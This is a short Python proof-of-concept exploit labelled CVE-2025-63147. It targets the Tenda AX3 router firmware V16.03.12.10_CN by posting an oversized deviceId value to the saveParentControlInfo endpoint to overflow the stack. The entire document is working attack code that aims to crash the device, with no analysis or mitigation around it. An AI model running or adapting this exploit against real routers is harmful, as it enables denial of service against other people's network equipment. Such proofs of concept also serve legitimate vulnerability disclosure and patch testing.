CVE-2025-63147

import requests # CVE-2025-63147 PoC - Tenda AX3 Stack Overflow in saveParentControlInfo # Target: Tenda AX3 V16.03.12.10_CN # Vulnerability: Stack overflow via deviceId parameter in saveParentControlInfo function target_ip = "192.168.0.1" # Default Tenda router IP target_url = f"http://{target_ip}/goform/saveParentControlInfo" # Generate malicious payload with oversized deviceId parameter # The payload triggers stack overflow by sending excessive data def generate_payload(): # Create a long string to overflow the stack buffer overflow_length = 1000 # Adjust based on actual buffer size malicious_device_id = "A" * overflow_length # Construct the exploit payload payload = { "deviceId": malicious_device_id, "deviceName": "test", "mac": "AA:BB:CC:DD:EE:FF", "enable": "1" } return payload def exploit(): print("[*] CVE-2025-63147 PoC - Tenda AX3 Stack Overflow") print(f"[*] Target: {target_url}") payload = generate_payload() try: print("[*] Sending malicious request...") response = requests.post(target_url, data=payload, timeout=5) print(f"[*] Response Status: {response.status_code}") print("[*] Request sent. Check if device is responsive.") except requests.exceptions.RequestException as e: print(f"[+] Exploit sent - Device may be DoS'd: {e}") if __name__ == "__main__": exploit()

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